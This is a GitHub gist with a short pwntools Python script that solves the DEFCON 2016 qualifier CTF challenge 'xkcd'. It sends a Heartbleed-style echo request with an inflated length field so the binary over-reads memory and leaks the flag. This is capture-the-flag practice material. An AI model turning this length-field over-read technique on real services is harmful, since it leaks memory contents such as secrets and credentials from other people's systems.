Skip to content

Instantly share code, notes, and snippets.

@0xPwny
Created August 20, 2017 17:35
Show Gist options
  • Save 0xPwny/94f631d3b7e2aab181b1e2a066859692 to your computer and use it in GitHub Desktop.
Save 0xPwny/94f631d3b7e2aab181b1e2a066859692 to your computer and use it in GitHub Desktop.
DEFCON quals 2016 - xkcd
from pwn import *
r = process("./xkcd")
#raw_input("attach$ ")
def key(value,size):
sen = "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"{}\" ({} LETTERS)".format(value,size)
return sen
def exploit(data):
r.sendline(data)
print "flag is : "+r.recvuntil("\n")[512:]
data1 = "A"*512
size1 = len(data1)+19 #buff length + flag length size
exploit(key(data1,size1))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment